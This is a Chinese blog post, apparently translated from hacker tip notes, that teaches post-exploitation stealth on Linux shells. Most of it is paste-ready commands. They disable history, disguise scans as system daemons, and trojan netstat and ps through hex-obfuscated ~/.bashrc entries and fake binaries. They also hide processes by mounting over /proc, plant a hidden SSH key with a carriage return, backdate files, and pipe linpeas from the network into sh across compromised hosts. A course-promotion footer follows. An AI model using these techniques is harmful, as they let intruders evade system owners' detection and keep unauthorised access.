高级黑客技术-1.bash shell

Bash,即“Bourne Again SHell”,是Unix操作系统中流行的命令行界面和脚本语言。它是Bourne Shell(sh)的升级版。Bash提供了许多功能,如命令历史、作业控制和文件名补全,使其比其前身更加用户友好。

Shell通常是用户与操作系统交互的命令行界面,通过执行命令来实现。有多种Shell类型,包括Bash、sh、ash、bsh、csh、ksh、zsh、pdksh和tcsh,每种Shell都有其独特的特性和语法。Bash和Shell对于道德黑客、渗透测试人员和漏洞赏金猎人来说都是必不可少的工具,因为它们提供了一个强大的界面,用于执行命令、自动化任务和利用系统中的漏洞。


1.1让 Bash 没有历史记录:

Bash 使用/dev/null而不是~/.bash_history。这是我们在每个 shell 上执行的第一个命令。它将阻止 Bash 记录您的命令。



  

  

  

  

  

  

  

export HISTFILE=/dev/null  
unset SSH\_CONNECTION SSH\_CLIENT  

(如果我们使用 SSH 登录,我们还会清除 SSH_* 变量。否则我们启动的任何进程都会在 /proc/self/environ 中获取 IP 的副本。)

退出 shell 时“kill”是很好的内务管理:



  

  

  

  

  

  

  

alias exit\='kill -9 $$'  

任何以“”(空格)开头的命令也不会记录到历史记录中[1]



  

  

  

  

  

  

  

$  id  

1.2隐藏你的命令 / Daemonzie 你的命令

隐藏为“syslogd”。



  

  

  

  

  

  

  

(exec -a syslogd nmap -T0 10.0.2.1/24) \# Note the brackets '(' and ')'  

启动后台隐藏进程:



  

  

  

  

  

  

  

(exec -a syslogd nmap -T0 10.0.2.1/24 &>nmap.log &)  

**在GNU 屏幕[2]**中启动:



  

  

  

  

  

  

  

screen -dmS MyName nmap -T0 10.0.2.1/24  
#\## Attach back to the nmap process  
screen -x MyName  

或者,如果没有 Bash:



  

  

  

  

  

  

  

cp "$(command -v nmap)" syslogd  
PATH=.:$PATH syslogd -T0 10.0.2.1/24  

在此示例中,我们执行nmap,但让它以名称syslogd出现在ps alxwww进程列表中。

1.3隐藏您的命令行选项

使用zapper[3]



  

  

  

  

  

  

  

\# Start Nmap but zap all options and show it as 'klog' in the process list:  
./zapper -a klog nmap -T0 10.0.0.1/24  
\# Same but started as a daemon:  
(./zapper -a klog nmap -T0 10.0.0.1/24 &>nmap.log &)  
\# Replace the existing shell with tmux (with 'exec').  
\# Then start and hide tmux and all further processes - as some kernel process:  
exec ./zapper -f -a'\[kworker/1:0-rcu\_gp\]' tmux  

1.4隐藏网络连接

诀窍是劫持netstat并使用 grep 来过滤掉我们的连接。此示例过滤端口 31337或ip 1.2.3.4 上的任何连接。对于ss(netstat 替代方案)也应该做同样的事情。

方法 1 - 在 ~/.bashrc 中隐藏与 bash-function 的连接

剪切并粘贴此行以将行添加到 ~/.bashrc



  

  

  

  

  

  

  

echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \\  
&& touch -r /etc/passwd ~/.bashrc  

或者将其剪切并粘贴到 ~/.bashrc 中以混淆条目:



  

  

  

  

  

  

  

X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'echo "eval \\$(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>~/.bashrc \\  
&& touch -r /etc/passwd ~/.bashrc  

~/.bashrc 的混淆条目将如下所示:



  

  

  

  

  

  

  

eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG  
  

方法 2 - 隐藏与 $PATH 中的二进制文件的连接

在 /usr/local/sbin 中创建一个假的 netstat 二进制文件。在默认的 Debian(和大多数 Linux)上,PATH 变量 ( ) 在 /usr/bin之前echo $PATH列出 /usr/local/sbin 。这意味着我们的劫持二进制文件 /usr/local/sbin/netstat 将被执行,而不是 /usr/bin/netstat。



  

  

  

  

  

  

  

echo \-e "#! /bin/bash  
exec /usr/bin/netstat \\"\\$@\\" | grep -Fv -e :22 -e 1.2.3.4" \>/usr/local/sbin/netstat \\  
&& chmod 755 /usr/local/sbin/netstat \\  
&& touch \-r /usr/bin/netstat /usr/local/sbin/netstat  

1.5以用户身份隐藏进程

继续“隐藏连接”,可以使用相同的技术来隐藏进程。此示例隐藏了 nmap 进程,并通过将其重命名为 GREP 来确保我们的进程grep不会出现在进程列表中:



  

  

  

  

  

  

  

echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >>~/.bashrc \\  
&& touch -r /etc/passwd ~/.bashrc  

1.6以 root 身份隐藏进程

这需要 root 权限,并且是一个古老的 Linux 技巧,通过使用无用的目录过度安装 /proc/:



  

  

  

  

  

  

  

hide()  
{  
    \[\[ -L /etc/mtab \]\] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }  
    \_pid=${1:-$$}  
    \[\[ $\_pid =~ ^\[0-9\]+$ \]\] && { mount -n --bind /dev/shm /proc/$\_pid && echo "\[THC\] PID $\_pid is now hidden"; return; }  
    local \_argstr  
    for \_x in "${@:2}"; do \_argstr+=" '${\_x//\\'/\\'\\"\\'\\"\\'}'"; done  
    \[\[ $(bash -c "ps -o stat= -p \\$\\$") =~ \\+ \]\] || exec bash -c "mount -n --bind /dev/shm /proc/\\$\\$; exec \\"$1\\" $\_argstr"  
    bash -c "mount -n --bind /dev/shm /proc/\\$\\$; exec \\"$1\\" $\_argstr"  
}  

要隐藏命令,请使用:



  

  

  

  

  

  

  

hide                                 \# Hides the current shell/PID  
hide 31337                           \# Hides process with pid 31337  
hide sleep 1234                      \# Hides 'sleep 1234'  
hide nohup sleep 1234 &>/dev/null &  \# Starts and hides 'sleep 1234' as a background process  

1.7 隐藏 shell 脚本

上面我们讨论了如何混淆 ~/.bashrc 中的一行。一个经常使用的技巧是使用source替代。source 命令可以缩短为.(是的,一个点),它还会搜索 $PATH 变量以查找要加载的文件。

在此示例中,我们的脚本prng包含上面的所有 shell 函数。这些功能隐藏了nmap进程和网络连接。最后我们添加. prng到系统范围的 rc 文件中。这将prng在用户(和 root)登录时加载:



  

  

  

  

  

  

  

echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }  
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap  -e GREP; }' >/usr/bin/prng \\  
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc \\  
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc  

(同样适用于lsof、ss和ls)

1.8 CAT

ANSI 转义字符或简单的\r(回车符[4])可用于隐藏cat其他人。

隐藏最后一个命令(例如id:)~/.bashrc:



  

  

  

  

  

  

  

echo -e "id #\\\\033\[2K\\\\033\[1A" >>~/.bashrc  
#\## The ANSI escape sequence \\\\033\[2K erases the line. The next sequence \\\\033\[1A  
#\## moves the cursor 1 line up.  
#\## The '#' after the command 'id' is a comment and is needed so that bash still  
#\## executes the 'id' but ignores the two ANSI escape sequences.  

注意:我们使用echo -e转换\\033为 ANSI 转义字符(十六进制 0x1b)。

添加\r(回车符)对于隐藏您的 ssh 密钥有很大帮助cat:



  

  

  

  

  

  

  

echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\\r'"$(<authorized\_keys)" >authorized\_keys  
\### This adds our key as the first key and 'cat authorized\_keys' wont show  
\### it. The $'\\r' is a bash special to create a \\r (carriage return).  

1.9 使用单独的日志文件并行执行*

并行扫描 20 个主机并将每个结果记录到单独的日志文件中:



  

  

  

  

  

  

  

\# hosts.txt contains a long list of hostnames or ip-addresses  
cat hosts.txt | parallel -j20 'exec nmap -n -Pn -sCV -F --open {} >nmap\_{}.txt'  

注意:该示例使用exec最后一个进程(nmap、gsexec)替换底层 shell。它是可选的,但会减少运行的 shell 二进制文件的数量。

使用 40 个工作线程在所有gsocket[5]主机上执行Linpeas :[6]



  

  

  

  

  

  

  

\# secrets.txt contains a long list of gsocket-secrets for each remote server.  
cat secrets.txt | parallel -j40 'mkdir host\_{}; exec gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host\_{}/linpeas.log 2>host\_{}/linpeas.err'

注意:xargs -P20 -I{}这是另一种好方法,但它无法将每个输出记录到单独的文件中。


💡免责声明本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。

👉

关于黑客&网络安全学习指南

学好 网络安全不论是就业还是做副业赚钱都不错,但要学会 网络安全 还是要有一个学习规划。最后给大家分享一份全套的 网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础等教程,带你从零基础系统性的学好网络安全。

1.学习路线图
在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.网络安全视频教程600集和配套电子书
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

在这里插入图片描述

温馨提示:篇幅有限,已打包文件夹,获取方式在:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
在这里插入图片描述

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
在这里插入图片描述

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网络安全技术库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值